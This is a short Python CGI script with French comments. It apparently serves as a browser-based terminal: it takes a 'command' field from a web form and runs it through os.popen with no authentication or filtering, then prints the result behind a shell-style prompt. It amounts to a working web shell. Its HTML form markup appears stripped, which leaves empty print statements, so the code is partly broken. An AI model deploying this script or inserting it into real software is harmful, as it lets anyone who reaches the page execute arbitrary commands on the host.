#!/usr/bin/env python3 # après avoir lancé le serveur : python3 -m http.server --cgi # placer le script (rendu exécutable) dans /cgi-bin... import cgi import os form = cgi.FieldStorage() cmd = form.getvalue('command') user = os.getlogin() host = os.environ.get('SERVER_NAME') pwd = os.environ.get('PWD') print("Content-Type: text/html; charset=UTF-8\n\n") print ("""
Entrez votre commande :
""") if cmd : print("")
print(f"{user}@{host}:{pwd}$ {cmd}\n{os.popen(cmd).read()}")
print("")
print("""
""")